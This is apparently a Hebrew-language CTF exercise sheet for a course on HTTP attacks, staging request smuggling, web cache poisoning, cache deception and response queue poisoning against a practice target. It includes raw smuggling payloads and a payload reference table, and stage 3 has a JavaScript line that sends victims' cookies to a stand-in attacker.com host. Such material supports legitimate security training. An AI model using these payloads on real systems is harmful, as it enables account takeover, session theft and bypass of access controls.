לדלג לתוכן

אתגר CTF - תקיפות פרוטוקול HTTP

הקדמה

אתגר זה משלב את כל הנושאים שנלמדו בפרק 5 - הברחת בקשות, תקיפות HTTP/2, הרעלת מטמון, הטעיית מטמון והרעלת תור תגובות. האתגר בנוי בארבעה שלבים, כל אחד דורש טכניקה שונה ומתבסס על הקודם.


תיאור הסביבה

ארכיטקטורת היעד:

[לקוח] --HTTPS/H2--> [CDN/Cache] --HTTP/1.1--> [Reverse Proxy] --HTTP/1.1--> [Application]

- ה-CDN מקבל HTTP/2 ומבצע downgrade ל-HTTP/1.1
- ה-Reverse Proxy מעביר בקשות ל-Application עם keep-alive
- המטמון שומר משאבים סטטיים לפי סיומת קובץ
- פאנל הניהול /admin חסום על ידי ה-Reverse Proxy
- יש מערכת login ו-session management

שלב 1 - זיהוי סוג הברחה

מטרה: גלו אם המערכת פגיעה להברחת בקשות, ומאיזה סוג.

הנחיות

  1. שלחו בקשות בדיקה לזיהוי CL.TE:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1\r\n
Z\r\n
Q
  1. שלחו בקשות בדיקה לזיהוי TE.CL:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0\r\n
\r\n
X
  1. אם שני הסוגים לא עבדו, נסו HTTP/2 downgrade:
  2. שלחו בקשת HTTP/2 עם Content-Length לא תואם
  3. בדקו הזרקת CRLF בכותרות HTTP/2
  4. נסו Transfer-Encoding ב-HTTP/2

  5. נסו ערפולי TE.TE:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

תוצאה מצופה: זיהוי סוג ההברחה (CL.TE, TE.CL, H2.CL, H2.TE, או TE.TE) ואישור עם בקשה שגורמת לשגיאה בבקשה הבאה.

מעבדות רלוונטיות:
- PortSwigger: HTTP request smuggling, basic CL.TE vulnerability
- PortSwigger: HTTP request smuggling, basic TE.CL vulnerability
- PortSwigger: HTTP request smuggling, obfuscating the TE header
- PortSwigger: H2.CL request smuggling


שלב 2 - עקיפת בקרות גישה

מטרה: השתמשו בהברחה שגיליתם כדי לגשת לפאנל הניהול.

הנחיות

  1. הבריחו בקשת GET ל-/admin:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: <calculate>
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
Content-Length: 10

x=1
  1. אם /admin דורש כותרת מיוחדת (כמו X-Admin: true או IP פנימי), גלו מה נדרש:
  2. הבריחו בקשה שהתגובה שלה מוצגת לכם (למשל POST לתגובה/חיפוש)
  3. לכדו את הכותרות שהשרת החזיתי מוסיף
  4. הוסיפו את הכותרות הנדרשות לבקשה המוברחת

  5. מצאו את פעולת מחיקת המשתמש בפאנל הניהול:

GET /admin/delete?username=carlos HTTP/1.1
Host: target.com

תוצאה מצופה: גישה לפאנל הניהול ומחיקת המשתמש carlos.

מעבדות רלוונטיות:
- PortSwigger: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE
- PortSwigger: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL
- PortSwigger: Exploiting HTTP request smuggling to reveal front-end request rewriting


שלב 3 - הרעלת מטמון

מטרה: הרעילו את המטמון כך שכל מבקר באתר יטען JavaScript זדוני.

הנחיות

  1. מצאו קובץ JavaScript שנשמר במטמון:
GET /static/main.js HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
X-Cache: hit
Cache-Control: public, max-age=3600
  1. השתמשו בהברחת בקשות כדי להרעיל את המטמון:
POST / HTTP/1.1
Host: target.com
Content-Length: <calculate>
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: attacker.com
Content-Length: 10

x=1
  1. ארחו JavaScript זדוני בשרת שלכם (exploit server):
// https://attacker.com/static/main.js
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
  1. שלחו את הבקשה המוברחת מספר פעמים עד שהמטמון ישמור את התגובה הזדונית

  2. אשרו שהמטמון מורעל:

GET /static/main.js HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
X-Cache: hit
(תוכן מ-attacker.com)

תוצאה מצופה: כל מבקר באתר מטעין JavaScript מהשרת שלכם.

אלטרנטיבה - הרעלה ללא הברחה:

אם יש כותרות שאינן במפתח המטמון:

GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
<script src="https://attacker.com/malicious.js"></script>

מעבדות רלוונטיות:
- PortSwigger: Exploiting HTTP request smuggling to perform web cache poisoning
- PortSwigger: Web cache poisoning with an unkeyed header
- PortSwigger: Web cache poisoning with multiple headers


שלב 4 - גניבת session של אדמין

מטרה: השתמשו בהטעיית מטמון כדי לגנוב את ה-session של האדמין.

הנחיות

  1. מצאו דף עם מידע רגיש (כמו /admin/settings או /admin/profile)

  2. בנו URL שגורם למטמון לשמור את הדף הפרטי:

https://target.com/admin/settings/x.css
https://target.com/admin/settings;x.css
https://target.com/admin/settings%00.css
  1. שלחו את ה-URL לאדמין (דרך XSS מהשלב הקודם, או דרך פונקציונליות קיימת):
// ב-JavaScript הזדוני מהשלב הקודם
fetch('https://target.com/admin/settings/x.css');
  1. גשו ל-URL מגולמת (ללא Cookie) כדי לקרוא את תגובת האדמין:
GET /admin/settings/x.css HTTP/1.1
Host: target.com
(ללא Cookie)

HTTP/1.1 200 OK
X-Cache: hit
(תוכן דף ההגדרות של האדמין, כולל API key או session)

אלטרנטיבה - הרעלת תור תגובות:

POST / HTTP/1.1
Host: target.com
Content-Length: <calculate>
Transfer-Encoding: chunked

0

GET /login HTTP/1.1
Host: target.com

שלחו מיד אחרי בקשה רגילה ולכדו את ה-session של המשתמש הבא.

תוצאה מצופה: גניבת session או API key של האדמין.

מעבדות רלוונטיות:
- PortSwigger: Exploiting path mapping for web cache deception
- PortSwigger: Response queue poisoning via H2.TE request smuggling
- PortSwigger: Exploiting HTTP request smuggling to capture other users' requests


אתגר נוסף - HackTheBox

אתגרים רלוונטיים ב-HackTheBox

1. Neonify - הזרקת CRLF בכותרות
2. Toxic - הרעלת מטמון עם PHP deserialization
3. Gunship - שרשרת תקיפות HTTP
4. Weather App - SSRF דרך הברחת בקשות
5. Diogenes' Rage - תנאי מרוץ + HTTP

משימה

בחרו אחד מהאתגרים הבאים ב-HackTheBox ופתרו אותו:

  1. חפשו אתגרי Web עם תגיות "HTTP", "smuggling", "cache"
  2. נסו לזהות את סוג החולשה לפני שאתם מתחילים לנצל
  3. תעדו את כל שלבי הפתרון

טבלת עזר - payloads

הברחת CL.TE

POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: <total_body_length>
Transfer-Encoding: chunked

0

<smuggled_request>

הברחת TE.CL

POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

<chunk_size_hex>
<smuggled_request_as_chunk_data>
0

הברחת H2.CL

:method: POST
:path: /
:authority: target.com
content-type: application/x-www-form-urlencoded
content-length: 0

<smuggled_request>

הברחת H2.TE (עם CRLF)

:method: POST
:path: /
:authority: target.com
foo: bar\r\nTransfer-Encoding: chunked

0

<smuggled_request>

קריטריונים להצלחה

שלב קריטריון ניקוד
שלב 1 זיהוי נכון של סוג ההברחה 25%
שלב 2 גישה לפאנל ניהול ומחיקת carlos 25%
שלב 3 הרעלת מטמון שמשפיעה על כל המבקרים 25%
שלב 4 גניבת session/API key של אדמין 25%
בונוס פתרון אתגר HackTheBox +10%
בונוס כתיבת סקריפט אוטומציה +10%

טיפים כלליים

  1. תמיד השתמשו ב-cache buster כשאתם בודקים - הוסיפו פרמטר אקראי כדי לא להרעיל את המטמון בטעות
  2. תעדו כל צעד - רשמו את הבקשות והתגובות המדויקות
  3. חשבו Content-Length בקפידה - בית אחד לא נכון יגרום לכישלון
  4. זכרו את ה-\r\n - ב-Burp Suite, ודאו שאתם שולחים \r\n ולא \n בלבד
  5. עבדו בסביבה מבוקרת - אל תנסו תקיפות אלו על מערכות ייצור ללא אישור